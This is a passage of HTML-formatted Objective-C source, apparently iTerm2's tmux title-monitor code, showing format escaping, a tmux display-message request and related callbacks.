pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                         </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">weakSelf setSessionSpecificProfileValues</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@{</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> KEY_TMUX_PANE_TITLE</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> title </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">?:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                         </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">weakSelf</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">delegate</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sessionDidUpdatePaneTitle</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                     </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                 </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_tmuxTitleMonitor updateOnce</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">escapedFormat </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_format stringByReplacingOccurrencesOfString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\\&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> withString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\\\\&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            stringByReplacingOccurrencesOfString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#39;&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> withString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\\&#39;&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">void</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">update</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSTimer</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">timer </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> updateOnce</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">void</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">updateOnce </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_haveOutstandingRequest</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DLog</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Not making a request because one is outstanding&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    _haveOutstandingRequest </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> YES</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">command </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> stringWithFormat</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;display-message -t &#39;%@&#39; -p &#39;%@&#39;&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> _target</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">escapedFormat</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DLog</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Request option with command %@&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> command</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">gateway sendCommand</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">command</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">               responseTarget</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             responseSelector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@selector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">didFetch</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:)</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">               responseObject</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                        flags</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kTmuxGatewayCommandShouldTolerateErrors</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">void</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">didFetch</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px 